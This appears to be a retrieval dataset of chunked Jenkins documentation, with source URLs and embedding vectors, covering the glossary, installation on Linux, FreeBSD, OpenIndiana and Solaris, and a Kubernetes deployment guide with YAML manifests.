which are specified when running through the xref:installing-jenkins:linux.adoc#setup-wizard[Post-installation setup wizard].
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/ROOT/pages/index.adoc
main
jenkins
[ -0.05559508129954338, -0.026554418727755547, 0.03640574589371681, 0.04036149010062218, -0.012242666445672512, -0.10088051110506058, -0.008283393457531929, 0.027363531291484833, -0.011986159719526768, -0.05923069640994072, -0.05758277699351311, -0.057150185108184814, 0.0019706294406205416, ...
0.165217
//// XXX: Pages to mark as deprecated by this document: \* https://wiki.jenkins.io/display/JENKINS/Terminology //// = Glossary ++++ $(function () { anchors.add('dt'); }) ++++ //// NOTE: The [glossary] delimiter in AsciiDoctor doesn't autogenerate anchors for each of the terms below. Which means that if we want to cross-reference terms directly from other documents we need to include an inline anchor. Additionally, because these inline anchors don't attach to section headings, cross referencing must include the appropriate display text, for example: MyTerm [#myterm] this is the definition of MyTerm Should be cross-referenced with: xref:#myterm[MyTerm] To ensure it is rendered appropriately. //// == General Terms [glossary] [#agent] === xref:using-jenkins:using-agents.adoc[Agent] An agent is typically a machine, or container, which connects to a Jenkins controller and executes tasks when directed by the controller. [#artifact] === Artifact An immutable file generated during a xref:#build[Build] or xref:#pipeline[Pipeline] run which is \*archived\* onto the Jenkins xref:#controller[Controller] for later retrieval by users. [#build] === Build Result of a single execution of a xref:#job[Job] [#cloud] === Cloud A System Configuration which provides dynamic xref:#agent[Agent] provisioning and allocation, such as that provided by the {plugin}azure-vm-agents[Azure VM Agents] or {plugin}ec2[Amazon EC2] plugins. [#controller] === Controller The central, coordinating process which stores configuration, loads plugins, and renders the various user interfaces for Jenkins. [#core] === Core The primary Jenkins application (`jenkins.war`) which provides the basic web UI, configuration, and foundation upon which xref:#plugin[Plugin] can be built. [#downstream] === Downstream A configured xref:#pipeline[Pipeline] or xref:#job[Job] which is triggered as part of the execution of a separate Pipeline or Job. [#executor] === Executor A slot for execution of work defined by a xref:#pipeline[Pipeline] or xref:#job[Job] on a xref:#node[Node]. A Node may have zero or more Executors configured which corresponds to how many concurrent Jobs or Pipelines are able to execute on that Node. [#fingerprint] === Fingerprint A hash considered globally unique to track the usage of an xref:#artifact[Artifact] or other entity across multiple xref:#pipeline[Pipelines] or xref:#job[jobs]. [#folder] === Folder An organizational container for xref:#pipeline[Pipelines] and/or xref:#job[jobs], similar to folders on a file system. [#item] === Item An entity in the web UI corresponding to either a:xref:#folder[Folder], xref:#pipeline[Pipeline], or xref:#job[job]. [#jenkins-url] === Jenkins URL The main url for the jenkins application, as visited by a user. e.g. https://ci.jenkins.io/ [#job] === Job A user-configured description of work which Jenkins should perform, such as building a piece of software, etc. [#kubernetes] === Kubernetes Kubernetes (K8s) is an open-source system for automating deployment, scaling, and management of containerized applications. See xref:installing-jenkins:kubernetes.adoc[Installing Jenkins / Kubernetes] for more info. [#label] === Label User-defined text for grouping xref:#agent[Agents], typically by similar functionality or capability. For example `linux` for Linux-based agents or `docker` for Docker-capable agents. [#lts] === LTS A long-term support xref:#release[Release] line of Jenkins products, becoming available for downloads every 12 weeks. See https://www.jenkins.io/download/lts[this page] for more info. [#master] === Master A deprecated term, synonymous with xref:#controller[Controller]. [#node] === xref:managing:nodes.adoc[Node] A machine which is part of the Jenkins environment and capable of executing xref:#pipeline[Pipelines] or xref:#job[jobs]. Both the xref:#controller[Controller] and xref:#agent[Agents] are considered to be Nodes. [#project] === Project [#project] A deprecated term, synonymous with xref:#job[job]. [#pipeline] === Pipeline A user-defined model of a continuous delivery pipeline, for more read the xref:user-docs:pipeline:index.adoc[Pipeline chapter] in this handbook. [#plugin] === Plugin An extension to Jenkins functionality provided separately from Jenkins xref:#core[Core]. [#publisher] === Publisher Part of a xref:#build[Build] after the completion of all configured xref:#step[Steps] which publishes reports, sends notifications, etc. A publisher may report xref:#stable[Stable] or xref:#unstable[Unstable] result depending on the result of its processing and its configuration. For example, if a JUnit test fails, then the whole JUnit publisher may report the
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/glossary/pages/index.adoc
main
jenkins
[ -0.04702581837773323, -0.0024738390929996967, 0.03624507039785385, 0.02661183476448059, -0.02128349430859089, -0.019984502345323563, -0.004004208371043205, -0.0653301253914833, 0.01576286554336548, -0.012431511655449867, 0.01181774027645588, -0.04743771627545357, 0.04526948183774948, -0.05...
0.040083
Part of a xref:#build[Build] after the completion of all configured xref:#step[Steps] which publishes reports, sends notifications, etc. A publisher may report xref:#stable[Stable] or xref:#unstable[Unstable] result depending on the result of its processing and its configuration. For example, if a JUnit test fails, then the whole JUnit publisher may report the build result as xref:#unstable[Unstable]. [#resource-root-url] === Resource Root URL A secondary url used to serve potentially untrusted content (especially build artifacts). This url is distinct from the xref:#jenkins-url[Jenkins URL]. [#release] === Release An event, indicating availability of Jenkins distribution products or one of Jenkins plugins. Jenkins products belong either to xref:#lts[LTS] or weekly Release lines. [#stage] === Stage `stage` is part of Pipeline, and used for defining a conceptually distinct subset of the entire Pipeline, for example: "Build", "Test", and "Deploy", which is used by many plugins to visualize or present Jenkins Pipeline status/progress. [#step] === Step A single task; fundamentally steps tell Jenkins \_what\_ to do inside of a xref:#pipeline[Pipeline] or xref:#job[job]. See xref:pipeline:getting-started.adoc[Pipelines / Getting Started] and xref:pipeline:jenkinsfile.adoc[Pipeline / Using a jenkinsfile] for more info. [#trigger] === Trigger A criteria for triggering a new xref:#pipeline[Pipeline] run or xref:#job[job]. [#update-center] === Update Center Hosted inventory of plugins and plugin metadata to enable plugin installation from within Jenkins. [#upstream] === Upstream A configured xref:#pipeline[Pipeline] or xref:#job[job] which triggers a separate Pipeline or Job as part of its execution. [#view] === View A way of displaying the data of Jenkins in a dashboard style. This is an extensible object, so there are lots of different ways to list xref:#job[jobs], show trends, and analyze data. [#workspace] === Workspace A disposable directory on the file system of a xref:#node[Node] where work can be done by a xref:#pipeline[Pipeline] or xref:#job[job]. Workspaces are typically left in place after a xref:#build[Build] or xref:#pipeline[Pipeline] run completes unless specific Workspace cleanup policies have been put in place on the Jenkins xref:#controller[Controller]. [#build-status] == Build Status [#aborted] === Aborted The xref:#build[Build] was interrupted before it reaches its expected end. For example, the user has stopped it manually or there was a time-out. [#failed] === Failed The xref:#build[Build] had a fatal error. [#stable] === Stable The xref:#build[Build] was xref:#successful[Successful] and no xref:#publisher[Publisher] reports it as xref:#unstable[Unstable]. [#successful] === Successful The xref:#build[Build] has no compilation errors. [#unstable] === Unstable The xref:#build[Build] had some errors, but they were not fatal. A xref:#build[Build] is unstable if it was built successfully and one or more publishers report it unstable. For example if the JUnit publisher is configured and a test fails then the xref:#build[Build] will be marked unstable.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/glossary/pages/index.adoc
main
jenkins
[ -0.05030301585793495, -0.03886587917804718, -0.024660825729370117, -0.018378304317593575, 0.07562188804149628, -0.040128108114004135, 0.013011838309466839, 0.010839137248694897, 0.08411293476819992, -0.07150732725858688, -0.007121458649635315, 0.009677629917860031, 0.06937091797590256, -0....
0.178208
= Linux Jenkins installers are available for several Linux distributions. \* xref:#debianubuntu[Debian/Ubuntu] \* xref:#fedora[Fedora] \* xref:#red-hat-centos[Red Hat/Alma/Rocky] include::user-docs:installing-jenkins:partial$\_installation\_requirements.adoc[] [#debianubuntu] == Debian/Ubuntu On Debian and Debian-based distributions like Ubuntu you can install Jenkins through `apt`. NOTE: With the release of link:https://www.debian.org/News/2023/20230610[Debian 12], OpenJDK 11 is \*no longer\* included. It has been replaced with link:https://openjdk.org/projects/jdk/17/[OpenJDK 17], which is reflected in the instructions below. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the link:https://pkg.jenkins.io/debian-stable/[`debian-stable` apt repository]. [source,bash] ---- sudo wget -O /usr/share/keyrings/jenkins-keyring.asc \ https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \ https://pkg.jenkins.io/debian-stable binary/ | sudo tee \ /etc/apt/sources.list.d/jenkins.list > /dev/null sudo apt-get update sudo apt-get install jenkins ---- === Weekly release A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the link:https://pkg.jenkins.io/debian/[`debian` apt repository]. [source,bash] ---- sudo wget -O /usr/share/keyrings/jenkins-keyring.asc \ https://pkg.jenkins.io/debian/jenkins.io-2023.key echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \ https://pkg.jenkins.io/debian binary/ | sudo tee \ /etc/apt/sources.list.d/jenkins.list > /dev/null sudo apt-get update sudo apt-get install jenkins ---- Beginning with Jenkins 2.335 and Jenkins 2.332.1, the package is configured with `systemd` rather than the older System V `init`. See the link:https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units[DigitalOcean community `systemd` tutorial] to better understand the benefits of `systemd` and the `systemctl` command. The package installation will: \* Setup Jenkins as a daemon launched on start. Run `systemctl cat jenkins` for more details. \* Create a '`jenkins`' user to run this service. \* Direct console log output to `systemd-journald`. Run `journalctl -u jenkins.service` if you are troubleshooting Jenkins. \* Populate `/lib/systemd/system/jenkins.service` with configuration parameters for the launch, e.g `JENKINS\_HOME` \* Set Jenkins to listen on port 8080. Access this port with your browser to start configuration. [NOTE] ==== If Jenkins fails to start because a port is in use, run `systemctl edit jenkins` and add the following: [source] ---- [Service] Environment="JENKINS\_PORT=8081" ---- Here, "8081" was chosen but you can put another port available. ==== === Installation of Java Jenkins requires Java to run, yet not all Linux distributions include Java by default. Additionally, xref:platform-information:support-policy-java.adoc[not all Java versions are compatible] with Jenkins. There are multiple Java implementations which you can use. link:https://openjdk.java.net/[OpenJDK] is the most popular one at the moment, we will use it in this guide. Update the Debian apt repositories, install OpenJDK 17, and check the installation with the commands: [source,bash] ---- sudo apt update sudo apt install fontconfig openjdk-17-jre java -version openjdk version "17.0.8" 2023-07-18 OpenJDK Runtime Environment (build 17.0.8+7-Debian-1deb12u1) OpenJDK 64-Bit Server VM (build 17.0.8+7-Debian-1deb12u1, mixed mode, sharing) ---- [NOTE] ==== Why use `apt` and not `apt-get` or another command? The apt command has been available since 2014. It has a command structure that is similar to `apt-get` but was created to be a more pleasant experience for typical users. Simple software management tasks like install, search and remove are easier with `apt`. ==== [#fedora] == Fedora You can install Jenkins through `dnf`. You need to add the Jenkins repository from the Jenkins website to the package manager first. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the link:https://pkg.jenkins.io/redhat-stable/[`redhat-stable`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key sudo dnf upgrade # Add required dependencies for the jenkins package sudo dnf install fontconfig java-17-openjdk sudo dnf install jenkins sudo systemctl daemon-reload ---- === Weekly release A new release is produced weekly to deliver bug fixes and
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/linux.adoc
main
jenkins
[ -0.08587345480918884, -0.04600764065980911, 0.0327301099896431, -0.030611969530582428, 0.022390294820070267, -0.031055286526679993, -0.0867154449224472, -0.025531597435474396, 0.023105962201952934, -0.02092289924621582, -0.045496031641960144, -0.012161537073552608, -0.021377412602305412, 0...
0.101228
[source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key sudo dnf upgrade # Add required dependencies for the jenkins package sudo dnf install fontconfig java-17-openjdk sudo dnf install jenkins sudo systemctl daemon-reload ---- === Weekly release A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the link:https://pkg.jenkins.io/redhat/[`redhat`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat/jenkins.io-2023.key sudo dnf upgrade # Add required dependencies for the jenkins package sudo dnf install fontconfig java-17-openjdk sudo dnf install jenkins ---- === Start Jenkins You can enable the Jenkins service to start at boot with the command: [source,bash] ---- sudo systemctl enable jenkins ---- You can start the Jenkins service with the command: [source,bash] ---- sudo systemctl start jenkins ---- You can check the status of the Jenkins service using the command: [source,bash] ---- sudo systemctl status jenkins ---- If everything has been set up correctly, you should see an output like this: [source,bash] ---- Loaded: loaded (/lib/systemd/system/jenkins.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2018-11-13 16:19:01 +03; 4min 57s ago ---- [NOTE] ==== If you have a firewall installed, you must add Jenkins as an exception. You must change `YOURPORT` in the script below to the port you want to use. Port `8080` is the most common. [source,bash] ---- YOURPORT=8080 PERM="--permanent" SERV="$PERM --service=jenkins" firewall-cmd $PERM --new-service=jenkins firewall-cmd $SERV --set-short="Jenkins ports" firewall-cmd $SERV --set-description="Jenkins port exceptions" firewall-cmd $SERV --add-port=$YOURPORT/tcp firewall-cmd $PERM --add-service=jenkins firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ---- ==== [#red-hat-centos] == Red Hat/Alma/Rocky You can install Jenkins through `yum` on Red Hat Enterprise Linux, Alma Linux, Rocky Linux, Oracle Linux, and other Red Hat based distributions. .How To Install Jenkins on Rocky Linux 9 video::2-L0WohfsqY[youtube, width=640, height=360] You need to choose either the Jenkins Long Term Support release or the Jenkins weekly release. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the link:https://pkg.jenkins.io/redhat-stable/[`redhat-stable`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key sudo yum upgrade # Add required dependencies for the jenkins package sudo yum install fontconfig java-17-openjdk sudo yum install jenkins sudo systemctl daemon-reload ---- === Weekly release A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the link:https://pkg.jenkins.io/redhat/[`redhat`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat/jenkins.io-2023.key sudo yum upgrade # Add required dependencies for the jenkins package sudo yum install fontconfig java-17-openjdk sudo yum install jenkins ---- === Start Jenkins You can enable the Jenkins service to start at boot with the command: [source,bash] ---- sudo systemctl enable jenkins ---- You can start the Jenkins service with the command: [source,bash] ---- sudo systemctl start jenkins ---- You can check the status of the Jenkins service using the command: [source,bash] ---- sudo systemctl status jenkins ---- If everything has been set up correctly, you should see an output like this: [source,bash] ---- Loaded: loaded (/lib/systemd/system/jenkins.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2023-06-22 16:19:01 +03; 4min 57s ago ... ---- [NOTE] ==== If you have a firewall installed, you must add Jenkins as an exception. You must change `YOURPORT` in the script below to the port you want to use. Port `8080` is the most common. [source,bash] ---- YOURPORT=8080 PERM="--permanent" SERV="$PERM --service=jenkins" firewall-cmd $PERM --new-service=jenkins firewall-cmd $SERV --set-short="Jenkins ports" firewall-cmd $SERV --set-description="Jenkins port exceptions" firewall-cmd $SERV --add-port=$YOURPORT/tcp
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/linux.adoc
main
jenkins
[ -0.10535413771867752, 0.013992243446409702, 0.0027932848315685987, -0.020965810865163803, 0.024990137666463852, -0.03054053708910942, -0.05527157336473465, -0.03335297480225563, -0.021797671914100647, -0.03273537755012512, -0.049084071069955826, -0.005527220666408539, -0.02436840534210205, ...
0.122699
installed, you must add Jenkins as an exception. You must change `YOURPORT` in the script below to the port you want to use. Port `8080` is the most common. [source,bash] ---- YOURPORT=8080 PERM="--permanent" SERV="$PERM --service=jenkins" firewall-cmd $PERM --new-service=jenkins firewall-cmd $SERV --set-short="Jenkins ports" firewall-cmd $SERV --set-description="Jenkins port exceptions" firewall-cmd $SERV --add-port=$YOURPORT/tcp firewall-cmd $PERM --add-service=jenkins firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ---- ==== include::user-docs:installing-jenkins:partial$\_setup-wizard.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/linux.adoc
main
jenkins
[ -0.0016758430283516645, 0.03352142125368118, -0.05433674529194832, -0.07903897017240524, -0.01882006973028183, -0.005054812878370285, -0.0205965768545866, -0.036201052367687225, 0.020733656361699104, 0.02384331077337265, -0.0022824781481176615, -0.0353907085955143, 0.0040229689329862595, 0...
-0.059114
= Other Systems [#other-systems] [#other-operating-systems] == FreeBSD Jenkins can be installed on FreeBSD using the standard FreeBSD package manager, `pkg`. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the FreeBSD `pkg` package manager. [source,bash,width=50%] ---- # pkg install jenkins-lts ---- [IMPORTANT] ==== Disclaimer: The link:https://www.freebsd.org/[FreeBSD project] maintains the Jenkins packaging for FreeBSD. The Jenkins package for FreeBSD is NOT officially supported by the Jenkins project, but it is actively used by the link:https://www.freebsd.org/[FreeBSD project] at https://ci.freebsd.org/ . ==== === Weekly release A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the FreeBSD `pkg` package manager. [source,bash] ---- # pkg install jenkins ---- The long term support package `jenkins-lts` and the weekly package installation `jenkins` will: \* Configure Jenkins as a daemon which may optionally be launched on start. See `/etc/rc.conf` for more details \* Create a '`jenkins`' user to run the service \* Direct console log output to the file `/var/log/jenkins.log`. Check this file when troubleshooting Jenkins \* Set Jenkins to listen on port 8180 from the path `/jenkins`. Open \http://localhost:8180/jenkins to login to Jenkins === Start Jenkins You can start the Jenkins service with the command: [source,bash] ---- # service jenkins onestart ---- You can check the status of the Jenkins service using the command: [source,bash] ---- # service jenkins status ---- You can stop the Jenkins service with the command: [source,bash] ---- # service jenkins stop ---- === Enable Jenkins Add the following to `/etc/rc.conf` to start Jenkins automatically on system boot: [source,bash] ---- jenkins\_enable="YES" ---- Once Jenkins is enabled, it can be started with: [source,bash] ---- # service jenkins start ---- Other configuration values that can be set in `/etc/rc.conf` or in `/etc/rc.conf.d/jenkins` are described in `/usr/local/etc/rc.d/jenkins`. Refer to the link:https://wiki.freebsd.org/Jenkins[Jenkins page] on the link:https://wiki.freebsd.org/[FreeBSD wiki] for more information specific to Jenkins on FreeBSD. == OpenIndiana Hipster On a system running link:https://www.openindiana.org/[OpenIndiana Hipster] Jenkins can be installed in either the local or global zone using the link:https://en.wikipedia.org/wiki/Image\_Packaging\_System[Image Packaging System] (IPS). [IMPORTANT] ==== Disclaimer: This platform is NOT officially supported by the Jenkins team, use it at your own risk. Packaging and integration described in this section is maintained by the OpenIndiana Hipster team, bundling the generic `jenkins.war` to work in that operating environment. ==== For the common case of running the newest packaged weekly build as a standalone (Jetty) server, simply execute: [source,bash] ---- pkg install jenkins svcadm enable jenkins ---- The common packaging integration for a standalone service will: \* Create a `jenkins` user to run the service and to own the directory structures under `/var/lib/jenkins`. \* Pull the Java package and other packages required to execute Jenkins, including the `jenkins-core-weekly` package with the latest `jenkins.war`. \* Set up Jenkins as an SMF service instance (`svc:/network/http:jenkins`) which can then be enabled with the `svcadm` command demonstrated above. \* Set up Jenkins to listen on port 8080. \* Configure the log output to be managed by SMF at `/var/svc/log/network-http:jenkins.log`. Once Jenkins is running, consult the log (`/var/svc/log/network-http:jenkins.log`) to retrieve the generated administrator password for the initial set up of Jenkins, usually it will be found at `/var/lib/jenkins/home/secrets/initialAdminPassword`. Then navigate to link:http://localhost:8080[localhost:8080] to xref:#setup-wizard[complete configuration of the Jenkins controller]. To change attributes of the service, such as environment variables like `JENKINS\_HOME` or the port number used for the Jetty web server, use the `svccfg` utility: [source,bash] ---- svccfg -s svc:/network/http:jenkins editprop svcadm refresh svc:/network/http:jenkins ---- You can also refer
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/other.adoc
main
jenkins
[ -0.09033401310443878, -0.01522345282137394, 0.030052151530981064, -0.02655969187617302, 0.045019060373306274, 0.0018344116397202015, -0.09532701969146729, -0.04486803710460663, 0.0393221490085125, 0.030435139313340187, -0.0572114959359169, -0.024114999920129776, 0.020888950675725937, -0.03...
0.011908
navigate to link:http://localhost:8080[localhost:8080] to xref:#setup-wizard[complete configuration of the Jenkins controller]. To change attributes of the service, such as environment variables like `JENKINS\_HOME` or the port number used for the Jetty web server, use the `svccfg` utility: [source,bash] ---- svccfg -s svc:/network/http:jenkins editprop svcadm refresh svc:/network/http:jenkins ---- You can also refer to `/lib/svc/manifest/network/jenkins-standalone.xml` for more details and comments about currently supported tunables of the SMF service. Note that the `jenkins` user account created by the packaging is specially privileged to allow binding to port numbers under 1024. The current status of Jenkins-related packages available for the given release of OpenIndiana can be queried with: [source,bash] ---- pkg info -r '\*jenkins\*' ---- Upgrades to the package can be performed by updating the entire operating environment with `pkg update`, or specifically for Jenkins core software with: [source,bash] ---- pkg update jenkins-core-weekly ---- [CAUTION] ==== Procedure for updating the package will restart the currently running Jenkins process. Make sure to prepare it for shutdown and finish all running jobs before updating, if needed. ==== == Solaris, OmniOS, SmartOS, and other siblings Generally it should suffice to install a xref:platform-information:support-policy-java.adoc[supported Java version], link:https://www.jenkins.io/download[download] the `jenkins.war`, and run it as a standalone process. Some caveats apply: \* Headless JVM and fonts: For OpenJDK builds on minimalized-footprint systems, there may be link:https://wiki.jenkins.io/display/JENKINS/Jenkins+got+java.awt.headless+problem[issues running the headless JVM], because Jenkins needs some fonts to render certain pages. include::user-docs:installing-jenkins:partial$\_setup-wizard.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/other.adoc
main
jenkins
[ -0.019076479598879814, -0.02393692545592785, -0.0404144749045372, -0.05556526780128479, 0.0164971761405468, -0.02591271698474884, -0.07267341017723083, -0.03760969266295433, 0.014493128284811974, -0.016917536035180092, -0.038988348096609116, -0.004447208251804113, -0.04177243635058403, 0.0...
0.0243
= Kubernetes Kubernetes (K8s) is an open-source system for automating deployment, scaling, and management of containerized applications. A Kubernetes cluster adds a new automation layer to Jenkins. Kubernetes makes sure that resources are used effectively and that your servers and underlying infrastructure are not overloaded. Kubernetes' ability to orchestrate container deployment ensures that Jenkins always has the right amount of resources available. Hosting Jenkins on a Kubernetes Cluster is beneficial for Kubernetes-based deployments and dynamic container-based scalable Jenkins agents. Several strategies for such setup and maintenance are explored below, including: \* Direct use of `kubectl` and YAML files to configure certain aspects of the deployment. \* Use of the `helm` tool and Helm Chart files to manage a whole ecosystem. For example, both the controller AND a population of agents where actual work happens. \* Further use of the Jenkins Operator to manage operations for Jenkins on Kubernetes in the cluster. ''' Here, we see a step-by-step process for setting up Jenkins on a Kubernetes Cluster. == Setup Jenkins On Kubernetes For setting up a Jenkins Cluster on Kubernetes, we will do the following: [arabic] . xref:#create-a-namespace[Create a Namespace] . xref:#create-a-service-account[Create a service account] with Kubernetes admin permissions. . xref:#create-a-volume[Create local persistent volume] for persistent Jenkins data on Pod restarts. . xref:#create-a-deployment[Create a deployment YAML] and deploy it. . xref:#create-a-service[Create a service YAML] and deploy it. NOTE: This guide doesn’t use local persistent volume as this is a generic guide. For using persistent volume for your Jenkins data, you need to create volumes of relevant cloud or on-prem data center and configure it. === Jenkins Kubernetes Manifest Files All the Jenkins Kubernetes manifest files used here are hosted on GitHub. Please clone the repository if you have trouble copying the manifest from the document. [source,bash] ---- git clone https://github.com/scriptcamp/kubernetes-jenkins ---- Use the GitHub files for reference and follow the steps in the next sections. === Kubernetes Jenkins Deployment Let’s get started with deploying Jenkins on Kubernetes. [#create-a-namespace] \*Step 1\*: Create a Namespace for Jenkins. It is good to categorize all the DevOps tools as a separate namespace from other applications. [source,bash] ---- kubectl create namespace devops-tools ---- [#create-a-service-account] \*Step 2:\* Create a 'jenkins-01-serviceAccount.yaml' file and copy the following admin service account manifest. [source,yaml] ---- --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: jenkins-admin rules: - apiGroups: [""] resources: ["\*"] verbs: ["\*"] --- apiVersion: v1 kind: ServiceAccount metadata: name: jenkins-admin namespace: devops-tools --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: jenkins-admin roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: jenkins-admin subjects: - kind: ServiceAccount name: jenkins-admin namespace: devops-tools ---- The 'jenkins-01-serviceAccount.yaml' creates a 'jenkins-admin' clusterRole, 'jenkins-admin' ServiceAccount and binds the 'clusterRole' to the service account. The 'jenkins-admin' cluster role has all the permissions to manage the cluster components. You can also restrict access by specifying individual resource actions. Now create the service account using kubectl. [source,bash] ---- kubectl apply -f jenkins-01-serviceAccount.yaml ---- [#create-a-volume] \*\*Step 3: \*\*Create 'jenkins-02-volume.yaml' and copy the following persistent volume manifest. [source,yaml] ---- kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: local-storage provisioner: kubernetes.io/no-provisioner volumeBindingMode: WaitForFirstConsumer --- apiVersion: v1 kind: PersistentVolume metadata: name: jenkins-pv-volume labels: type: local spec: storageClassName: local-storage claimRef: name: jenkins-pv-claim namespace: devops-tools capacity: storage: 10Gi accessModes: - ReadWriteOnce local: path: /mnt nodeAffinity: required: nodeSelectorTerms: - matchExpressions: - key: kubernetes.io/hostname operator: In values: - worker-node01 --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: jenkins-pv-claim namespace: devops-tools spec: storageClassName: local-storage accessModes: - ReadWriteOnce resources: requests: storage: 3Gi ---- \*Important Note:\* Replace 'worker-node01' with any one of your cluster worker nodes hostname. You can get the worker node hostname using the kubectl. [source,bash] ---- kubectl get nodes ---- For volume, we are using the 'local'
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/kubernetes.adoc
main
jenkins
[ 0.016317496076226234, 0.01859002187848091, 0.04336366057395935, 0.009936323389410973, -0.020466623827815056, -0.03212292119860649, -0.0489608570933342, -0.022529561072587967, 0.05266033858060837, 0.036161359399557114, -0.07203933596611023, -0.04522833228111267, 0.013236931525170803, -0.013...
0.206243
jenkins-pv-claim namespace: devops-tools spec: storageClassName: local-storage accessModes: - ReadWriteOnce resources: requests: storage: 3Gi ---- \*Important Note:\* Replace 'worker-node01' with any one of your cluster worker nodes hostname. You can get the worker node hostname using the kubectl. [source,bash] ---- kubectl get nodes ---- For volume, we are using the 'local' storage class for the purpose of demonstration. Meaning, it creates a 'PersistentVolume' volume in a specific node under the '/mnt' location. As the 'local' storage class requires the node selector, you need to specify the worker node name correctly for the Jenkins pod to get scheduled in the specific node. If the pod gets deleted or restarted, the data will get persisted in the node volume. However, if the node gets deleted, you will lose all the data. Ideally, you should use a persistent volume using the available storage class with the cloud provider, or the one provided by the cluster administrator to persist data on node failures. Let’s create the volume using kubectl [source,bash] ---- kubectl create -f jenkins-02-volume.yaml ---- [#create-a-deployment] \*Step 4:\* Create a Deployment file named 'jenkins-03-deployment.yaml' and copy the following deployment manifest. [source,yaml] ---- apiVersion: apps/v1 kind: Deployment metadata: name: jenkins namespace: devops-tools spec: replicas: 1 selector: matchLabels: app: jenkins-server strategy: type: Recreate template: metadata: labels: app: jenkins-server spec: securityContext: # Note: fsGroup may be customized for a bit of better # filesystem security on the shared host fsGroup: 1000 runAsUser: 1000 ### runAsGroup: 1000 serviceAccountName: jenkins-admin containers: - name: jenkins image: jenkins/jenkins:lts # OPTIONAL: check for new floating-tag LTS releases whenever the pod is restarted: imagePullPolicy: Always resources: limits: memory: "2Gi" cpu: "1000m" requests: memory: "500Mi" cpu: "500m" ports: - name: httpport containerPort: 8080 - name: jnlpport containerPort: 50000 livenessProbe: httpGet: path: "/login" port: 8080 initialDelaySeconds: 90 periodSeconds: 10 timeoutSeconds: 5 failureThreshold: 5 readinessProbe: httpGet: path: "/login" port: 8080 initialDelaySeconds: 60 periodSeconds: 10 timeoutSeconds: 5 failureThreshold: 3 volumeMounts: - name: jenkins-data mountPath: /var/jenkins\_home volumes: - name: jenkins-data persistentVolumeClaim: claimName: jenkins-pv-claim ---- In this Jenkins Kubernetes deployment we have used the following: [arabic] . The Jenkins container version is referenced in the example YAML above by a floating tag `lts`, so the optional `imagePullPolicy: Always` line is added to pull and deploy a new LTS image release (if it exists) \*whenever\* the pod is restarted. Otherwise, the currently deployed version is used after restart (and there's no other way to tell Kubernetes to pull a newer image, short of locating and deleting the old one from the node's cache). + \* Note that "whenever the pod is restarted" includes events such as a server reboot or the restart requested in Web-UI to apply downloaded plugin updates. \* Kubernetes automatically uses this policy by default if the `:latest` image tag is specified, or none is specified at all (then the `:latest` image tag is automatically defaulted). \* For predictable and deterministic updates, use the version-based image tags instead. Search https://hub.docker.com/r/jenkins/jenkins/tags for the ones currently served. \* Consider an image tag like `lts-jdk21` to avoid surprises when the Jenkins core switches to using a newer JDK (usually they are backwards compatible, but...) or stay with `lts` for indefinite hands-off maintenance approach. . The `spec:/strategy:/type: Recreate` requires that Kubernetes first stops the old container instance, then starts a new one a few seconds later, whenever a restart is requested such as pulling in a new Jenkins version. . `securityContext` for Jenkins pod to be able to write to the local persistent volume. + \* Note that `fsGroup` specifies the group ID used for mounted filesystem access, while `runAsUser` and 